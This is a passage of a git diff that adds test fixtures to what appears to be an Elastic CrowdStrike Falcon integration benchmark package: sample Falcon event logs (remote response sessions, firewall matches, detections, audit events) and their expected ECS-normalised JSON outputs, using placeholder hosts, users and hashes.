+                "vendor": "Crowdstrike"
+            },
+            "rule": {
+                "description": "TestRuleTopic",
+                "id": "123543-0cb1-4806-9ccd-a543123",
+                "name": "TestRuleName",
+                "ruleset": "TestRuleTopic"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log
new file mode 100644
index 0000000000..71cf205a36
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log
@@ -0,0 +1,30 @@
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 1045,
+        "eventType": "RemoteResponseSessionStartEvent",
+        "eventCreationTime": 1582830734000,
+        "version": "1.0"
+    },
+    "event": {
+        "SessionId": "12345a1bc2d34fghi56jk7890lmno12p",
+        "HostnameField": "hostnameofmachine",
+        "UserName": "first.last@company.com",
+        "StartTimestamp": 1582830734
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 1046,
+        "eventType": "RemoteResponseSessionEndEvent",
+        "eventCreationTime": 1582830772000,
+        "version": "1.0"
+    },
+    "event": {
+        "SessionId": "12345a1bc2d34fghi56jk7890lmno12p",
+        "HostnameField": "hostnameofmachine",
+        "UserName": "first.last@company.com",
+        "EndTimestamp": 1582830772
+    }
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json
new file mode 100644
index 0000000000..144ede533f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json
@@ -0,0 +1,120 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2020-02-27T19:12:14.000Z",
+            "crowdstrike": {
+                "event": {
+                    "SessionId": "12345a1bc2d34fghi56jk7890lmno12p"
+                },
+                "metadata": {
+                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "eventType": "RemoteResponseSessionStartEvent",
+                    "offset": 1045,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "remote_response_session_start_event"
+                ],
+                "category": [
+                    "network",
+                    "session"
+                ],
+                "created": "2020-02-27T19:12:14.000Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 1045,\n        \"eventType\": \"RemoteResponseSessionStartEvent\",\n        \"eventCreationTime\": 1582830734000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"SessionId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"HostnameField\": \"hostnameofmachine\",\n        \"UserName\": \"first.last@company.com\",\n        \"StartTimestamp\": 1582830734\n    }\n}",
+                "start": "2020-02-27T19:12:14.000Z",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "name": "hostnameofmachine"
+            },
+            "message": "Remote response session started.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "hostnameofmachine"
+                ],
+                "user": [
+                    "first.last",
+                    "first.last@company.com"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "first.last@company.com",
+                "name": "first.last"
+            }
+        },
+        {
+            "@timestamp": "2020-02-27T19:12:52.000Z",
+            "crowdstrike": {
+                "event": {
+                    "SessionId": "12345a1bc2d34fghi56jk7890lmno12p"
+                },
+                "metadata": {
+                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "eventType": "RemoteResponseSessionEndEvent",
+                    "offset": 1046,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "remote_response_session_end_event"
+                ],
+                "category": [
+                    "network",
+                    "session"
+                ],
+                "created": "2020-02-27T19:12:52.000Z",
+                "end": "2020-02-27T19:12:52.000Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 1046,\n        \"eventType\": \"RemoteResponseSessionEndEvent\",\n        \"eventCreationTime\": 1582830772000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"SessionId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"HostnameField\": \"hostnameofmachine\",\n        \"UserName\": \"first.last@company.com\",\n        \"EndTimestamp\": 1582830772\n    }\n}",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "name": "hostnameofmachine"
+            },
+            "message": "Remote response session ended.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "hostnameofmachine"
+                ],
+                "user": [
+                    "first.last",
+                    "first.last@company.com"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "first.last@company.com",
+                "name": "first.last"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log
new file mode 100644
index 0000000000..c14c961ca7
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log
@@ -0,0 +1,345 @@
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 70689,
+        "eventType": "FirewallMatchEvent",
+        "eventCreationTime": 1595248906000,
+        "version": "1.0"
+    },
+    "event": {
+        "DeviceId": "718af202ab2c4ba5b6a5d10d39c0e0a5",
+        "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p",
+        "Ipv": "ipv4",
+        "CommandLine": "",
+        "ConnectionDirection": "1",
+        "EventType": "FirewallRuleIP4Matched",
+        "Flags": {
+            "Audit": false,
+            "Log": false,
+            "Monitor": true
+        },
+        "HostName": "TESTDEVICE01",
+        "ICMPCode": "",
+        "ICMPType": "",
+        "ImageFileName": "",
+        "LocalAddress": "10.37.60.194",
+        "LocalPort": "445",
+        "MatchCount": 1,
+        "MatchCountSinceLastReport": 1,
+        "NetworkProfile": "2",
+        "PID": "206158879910",
+        "PolicyName": "PROD-FW-Workstations-General",
+        "PolicyID": "74e7f1552a3a4d90a6d65578642c8584",
+        "Protocol": "6",
+        "RemoteAddress": "10.37.60.21",
+        "RemotePort": "54952",
+        "RuleAction": "2",
+        "RuleDescription": "",
+        "RuleFamilyID": "fec73e96a1bf4481be582c3f89b234fa",
+        "RuleGroupName": "SMB Rules",
+        "RuleName": "Inbound SMB Block \u0026 Log Private",
+        "RuleId": "4877172638743447345",
+        "Status": "",
+        "Timestamp": "2020-07-20T12:41:44Z",
+        "TreeID": ""
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 57181,
+        "eventType": "IncidentSummaryEvent",
+        "eventCreationTime": 1595005328414,
+        "version": "1.0"
+    },
+    "event": {
+        "IncidentStartTime": 1595005316,
+        "IncidentEndTime": 1595005316,
+        "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54",
+        "State": "open",
+        "FineScore": 0.1,
+        "LateralMovement": 0
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 70509,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1595247970093,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "first.last@company.com",
+        "UserIp": "67.43.156.15",
+        "OperationName": "saml2Assert",
+        "ServiceName": "Crowdstrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1595247970,
+        "AuditKeyValues": [
+            {
+                "Key": "trace_id",
+                "ValueString": "b0b33836-555c-4e0e-a5ef-d368f6799f6b"
+            },
+            {
+                "Key": "actor_user",
+                "ValueString": "first.last@company.com"
+            },
+            {
+                "Key": "actor_user_uuid",
+                "ValueString": "123ab123-abc1-12a1-12a1-12a1ab12a1a1"
+            },
+            {
+                "Key": "actor_cid",
+                "ValueString": "123456a1ab1a12abc12ab1234abcd12a"
+            },
+            {
+                "Key": "target_user",
+                "ValueString": "first.last@company.com"
+            }
+        ]
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 70683,
+        "eventType": "UserActivityAuditEvent",
+        "eventCreationTime": 1595248885000,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "Crowdstrike",
+        "UserIp": "",
+        "OperationName": "quarantined_file_update",
+        "ServiceName": "quarantined_files",
+        "AuditKeyValues": [
+            {
+                "Key": "quarantined_file_id",
+                "ValueString": "ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21"
+            },
+            {
+                "Key": "action_taken",
+                "ValueString": "quarantined"
+            }
+        ],
+        "UTCTimestamp": 1595248885
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 57217,
+        "eventType": "RemoteResponseSessionStartEvent",
+        "eventCreationTime": 1595006093000,
+        "version": "1.0"
+    },
+    "event": {
+        "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e",
+        "HostnameField": "TESTDEVICE01",
+        "UserName": "first.last@company.com",
+        "StartTimestamp": 1595006093
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 57269,
+        "eventType": "RemoteResponseSessionEndEvent",
+        "eventCreationTime": 1595006899000,
+        "version": "1.0"
+    },
+    "event": {
+        "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e",
+        "HostnameField": "TESTDEVICE01",
+        "UserName": "first.last@company.com",
+        "EndTimestamp": 1595006899,
+        "Commands": [
+            "cd \\Program Files (x86)\\Symantec",
+            "ls .",
+            "cd \\Program Files (x86)",
+            "ls .",
+            "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default",
+            "reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```",
+            "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default",
+            "restart",
+            "restart -Confirm"
+        ]
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 57047,
+        "eventType": "DetectionSummaryEvent",
+        "eventCreationTime": 1595002291000,
+        "version": "1.0"
+    },
+    "event": {
+        "ProcessStartTime": 1595002290,
+        "ProcessEndTime": 1595002290,
+        "ProcessId": 663790158277,
+        "ParentProcessId": 627311656469,
+        "ComputerName": "TESTDEVICE01",
+        "UserName": "First.last",
+        "DetectName": "NGAV",
+        "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
+        "Severity": 2,
+        "SeverityName": "Low",
+        "FileName": "filename.exe",
+        "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path",
+        "CommandLine": "\"C:\\ProgramData\\file\\path\\filename.exe\" ",
+        "SHA256String": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
+        "MD5String": "0ab1235adca04aef6239f5496ef0a5df",
+        "SHA1String": "0000000000000000000000000000000000000000",
+        "MachineDomain": "NA",
+        "ExecutablesWritten": [
+            {
+                "Timestamp": 1595002290,
+                "FileName": "NEURO_200_J1939Configuration.mexw64",
+                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
+            },
+            {
+                "Timestamp": 1595002290,
+                "FileName": "NEURO_200_J1939Configuration.mexw64",
+                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
+            },
+            {
+                "Timestamp": 1595002290,
+                "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
+                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
+            },
+            {
+                "Timestamp": 1595002290,
+                "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
+                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
+            }
+        ],
+        "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p",
+        "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0",
+        "IOCType": "hash_sha256",
+        "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
+        "DetectId": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719",
+        "LocalIP": "10.1.190.117",
+        "MACAddress": "54-ad-d4-d2-a8-0b",
+        "Tactic": "Machine Learning",
+        "Technique": "Sensor-based ML",
+        "Objective": "Falcon Detection Method",
+        "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.",
+        "PatternDispositionValue": 2304,
+        "PatternDispositionFlags": {
+            "Indicator": false,
+            "Detect": false,
+            "InddetMask": false,
+            "SensorOnly": false,
+            "Rooting": false,
+            "KillProcess": false,
+            "KillSubProcess": false,
+            "QuarantineMachine": false,
+            "QuarantineFile": false,
+            "PolicyDisabled": true,
+            "KillParent": false,
+            "OperationBlocked": false,
+            "ProcessBlocked": true,
+            "RegistryOperationBlocked": false,
+            "CriticalProcessDisabled": false,
+            "BootupSafeguardEnabled": false,
+            "FsOperationBlocked": false
+        },
+        "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe",
+        "ParentCommandLine": "C:\\Windows\\Explorer.EXE",
+        "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe",
+        "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe"
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 57047,
+        "eventType": "DetectionSummaryEvent",
+        "eventCreationTime": 1595002291000,
+        "version": "1.0"
+    },
+    "event": {
+        "ProcessStartTime": 1595002290,
+        "ProcessEndTime": 1595002290,
+        "ProcessId": 663790158277,
+        "ParentProcessId": 627311656469,
+        "ComputerName": "TESTDEVICE01",
+        "UserName": "First.last",
+        "DetectName": "NGAV",
+        "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
+        "Severity": 2,
+        "SeverityName": "Low",
+        "FileName": "filename.exe",
+        "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path",
+        "CommandLine": "\"C:\\ProgramData\\file\\path\\filename.exe\" ",
+        "SHA256String": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
+        "MD5String": "0ab1235adca04aef6239f5496ef0a5df",
+        "SHA1String": "0000000000000000000000000000000000000000",
+        "MachineDomain": "NA",
+        "ExecutablesWritten": [
+            {
+                "Timestamp": 1595002290,
+                "FileName": "NEURO_200_J1939Configuration.mexw64",
+                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
+            },
+            {
+                "Timestamp": 1595002290,
+                "FileName": "NEURO_200_J1939Configuration.mexw64",
+                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
+            },
+            {
+                "Timestamp": 1595002290,
+                "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
+                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
+            },
+            {
+                "Timestamp": 1595002290,
+                "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
+                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
+            }
+        ],
+        "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p",
+        "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0",
+        "IOCType": "hash_sha256",
+        "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
+        "DetectId": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719",
+        "LocalIP": "10.1.190.117",
+        "MACAddress": "54-ad-d4-d2-a8-0b",
+        "Tactic": "Machine Learning",
+        "Technique": "Sensor-based ML",
+        "Objective": "Falcon Detection Method",
+        "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.",
+        "PatternDispositionValue": 2304,
+        "PatternDispositionFlags": {
+            "Indicator": false,
+            "Detect": false,
+            "InddetMask": false,
+            "SensorOnly": false,
+            "Rooting": false,
+            "KillProcess": false,
+            "KillSubProcess": false,
+            "QuarantineMachine": false,
+            "QuarantineFile": false,
+            "PolicyDisabled": true,
+            "KillParent": false,
+            "OperationBlocked": false,
+            "ProcessBlocked": true,
+            "RegistryOperationBlocked": false,
+            "CriticalProcessDisabled": false,
+            "BootupSafeguardEnabled": false,
+            "FsOperationBlocked": false
+        },
+        "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe",
+        "ParentCommandLine": "C:\\Windows\\Explorer.EXE",
+        "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe",
+        "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe",
+        "MitreAttack": [
+            {
+                "Tactic": "Machine Learning",
+                "Technique": "Sensor-based ML"
+            }
+        ]
+    }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json
new file mode 100644
index 0000000000..c0682110a8
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json
@@ -0,0 +1,743 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2020-07-20T12:41:46.000Z",
+            "crowdstrike": {
+                "event": {
+                    "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "DeviceId": "718af202ab2c4ba5b6a5d10d39c0e0a5",
+                    "Flags": {
+                        "Audit": false,
+                        "Log": false,
+                        "Monitor": true
+                    },
+                    "MatchCount": 1,
+                    "MatchCountSinceLastReport": 1,
+                    "NetworkProfile": "2",
+                    "PolicyID": "74e7f1552a3a4d90a6d65578642c8584",
+                    "PolicyName": "PROD-FW-Workstations-General",
+                    "Protocol": "6",
+                    "RuleAction": "2",
+                    "Timestamp": "2020-07-20T12:41:44Z"
+                },
+                "metadata": {
+                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "eventType": "FirewallMatchEvent",
+                    "offset": 70689,
+                    "version": "1.0"
+                }
+            },
+            "destination": {
+                "ip": "10.37.60.194",
+                "port": 445
+            },
+            "device": {
+                "id": "718af202ab2c4ba5b6a5d10d39c0e0a5"
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "firewall_match_event"
+                ],
+                "category": [
+                    "network"
+                ],
+                "code": "FirewallRuleIP4Matched",
+                "created": "2020-07-20T12:41:46.000Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 70689,\n        \"eventType\": \"FirewallMatchEvent\",\n        \"eventCreationTime\": 1595248906000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"DeviceId\": \"718af202ab2c4ba5b6a5d10d39c0e0a5\",\n        \"CustomerId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"Ipv\": \"ipv4\",\n        \"CommandLine\": \"\",\n        \"ConnectionDirection\": \"1\",\n        \"EventType\": \"FirewallRuleIP4Matched\",\n        \"Flags\": {\n            \"Audit\": false,\n            \"Log\": false,\n            \"Monitor\": true\n        },\n        \"HostName\": \"TESTDEVICE01\",\n        \"ICMPCode\": \"\",\n        \"ICMPType\": \"\",\n        \"ImageFileName\": \"\",\n        \"LocalAddress\": \"10.37.60.194\",\n        \"LocalPort\": \"445\",\n        \"MatchCount\": 1,\n        \"MatchCountSinceLastReport\": 1,\n        \"NetworkProfile\": \"2\",\n        \"PID\": \"206158879910\",\n        \"PolicyName\": \"PROD-FW-Workstations-General\",\n        \"PolicyID\": \"74e7f1552a3a4d90a6d65578642c8584\",\n        \"Protocol\": \"6\",\n        \"RemoteAddress\": \"10.37.60.21\",\n        \"RemotePort\": \"54952\",\n        \"RuleAction\": \"2\",\n        \"RuleDescription\": \"\",\n        \"RuleFamilyID\": \"fec73e96a1bf4481be582c3f89b234fa\",\n        \"RuleGroupName\": \"SMB Rules\",\n        \"RuleName\": \"Inbound SMB Block \\u0026 Log Private\",\n        \"RuleId\": \"4877172638743447345\",\n        \"Status\": \"\",\n        \"Timestamp\": \"2020-07-20T12:41:44Z\",\n        \"TreeID\": \"\"\n    }\n}",
+                "type": [
+                    "start",
+                    "connection",
+                    "denied"
+                ]
+            },
+            "host": {
+                "name": "TESTDEVICE01"
+            },
+            "message": "Firewall Rule: 'Inbound SMB Block & Log Private' triggered - Action: 'Blocked'",
+            "network": {
+                "direction": "ingress",
+                "type": "ipv4"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "entity_id": "206158879910",
+                "pid": 206158879910
+            },
+            "related": {
+                "hosts": [
+                    "TESTDEVICE01"
+                ],
+                "ip": [
+                    "10.37.60.21",
+                    "10.37.60.194"
+                ]
+            },
+            "rule": {
+                "category": "fec73e96a1bf4481be582c3f89b234fa",
+                "id": "4877172638743447345",
+                "name": "Inbound SMB Block & Log Private",
+                "ruleset": "SMB Rules"
+            },
+            "source": {
+                "ip": "10.37.60.21",
+                "port": 54952
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-07-17T17:02:08.414Z",
+            "crowdstrike": {
+                "event": {
+                    "FineScore": 0.1,
+                    "State": "open"
+                },
+                "metadata": {
+                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "eventType": "IncidentSummaryEvent",
+                    "offset": 57181,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "incident"
+                ],
+                "category": [
+                    "malware"
+                ],
+                "created": "2020-07-17T17:02:08.414Z",
+                "end": "2020-07-17T17:01:56.000Z",
+                "kind": "alert",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 57181,\n        \"eventType\": \"IncidentSummaryEvent\",\n        \"eventCreationTime\": 1595005328414,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"IncidentStartTime\": 1595005316,\n        \"IncidentEndTime\": 1595005316,\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54\",\n        \"State\": \"open\",\n        \"FineScore\": 0.1,\n        \"LateralMovement\": 0\n    }\n}",
+                "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54",
+                "start": "2020-07-17T17:01:56.000Z",
+                "type": [
+                    "info"
+                ]
+            },
+            "message": "Incident score 0.1",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-07-20T12:26:10.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AuditKeyValues": [
+                        {
+                            "Key": "trace_id",
+                            "ValueString": "b0b33836-555c-4e0e-a5ef-d368f6799f6b"
+                        },
+                        {
+                            "Key": "actor_user",
+                            "ValueString": "first.last@company.com"
+                        },
+                        {
+                            "Key": "actor_user_uuid",
+                            "ValueString": "123ab123-abc1-12a1-12a1-12a1ab12a1a1"
+                        },
+                        {
+                            "Key": "actor_cid",
+                            "ValueString": "123456a1ab1a12abc12ab1234abcd12a"
+                        },
+                        {
+                            "Key": "target_user",
+                            "ValueString": "first.last@company.com"
+                        }
+                    ],
+                    "OperationName": "saml2Assert",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 70509,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "saml2Assert"
+                ],
+                "category": [
+                    "iam"
+                ],
+                "created": "2020-07-20T12:26:10.093Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 70509,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1595247970093,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"first.last@company.com\",\n        \"UserIp\": \"67.43.156.15\",\n        \"OperationName\": \"saml2Assert\",\n        \"ServiceName\": \"Crowdstrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1595247970,\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"trace_id\",\n                \"ValueString\": \"b0b33836-555c-4e0e-a5ef-d368f6799f6b\"\n            },\n            {\n                \"Key\": \"actor_user\",\n                \"ValueString\": \"first.last@company.com\"\n            },\n            {\n                \"Key\": \"actor_user_uuid\",\n                \"ValueString\": \"123ab123-abc1-12a1-12a1-12a1ab12a1a1\"\n            },\n            {\n                \"Key\": \"actor_cid\",\n                \"ValueString\": \"123456a1ab1a12abc12ab1234abcd12a\"\n            },\n            {\n                \"Key\": \"target_user\",\n                \"ValueString\": \"first.last@company.com\"\n            }\n        ]\n    }\n}",
+                "outcome": "success"
+            },
+            "message": "Crowdstrike Authentication",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "67.43.156.15"
+                ],
+                "user": [
+                    "first.last",
+                    "first.last@company.com"
+                ]
+            },
+            "source": {
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.15"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "first.last@company.com",
+                "name": "first.last"
+            }
+        },
+        {
+            "@timestamp": "2020-07-20T12:41:25.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AuditKeyValues": [
+                        {
+                            "Key": "quarantined_file_id",
+                            "ValueString": "ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21"
+                        },
+                        {
+                            "Key": "action_taken",
+                            "ValueString": "quarantined"
+                        }
+                    ],
+                    "ServiceName": "quarantined_files"
+                },
+                "metadata": {
+                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+                    "eventType": "UserActivityAuditEvent",
+                    "offset": 70683,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "user_activity_audit_event",
+                "category": [
+                    "iam"
+                ],
+                "created": "2020-07-20T12:41:25.000Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 70683,\n        \"eventType\": \"UserActivityAuditEvent\",\n        \"eventCreationTime\": 1595248885000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"Crowdstrike\",\n        \"UserIp\": \"\",\n        \"OperationName\": \"quarantined_file_update\",\n        \"ServiceName\": \"quarantined_files\",\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"quarantined_file_id\",\n                \"ValueString\": \"ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21\"\n            },\n            {\n                \"Key\": \"action_taken\",\n                \"ValueString\": \"quarantined\"\n            }\n        ],\n        \"UTCTimestamp\": 1595248885\n    }\n}",
+                "type": [
+                    "change"
+                ]
+            },
+            "message": "quarantined_file_update",
+            "observer": {
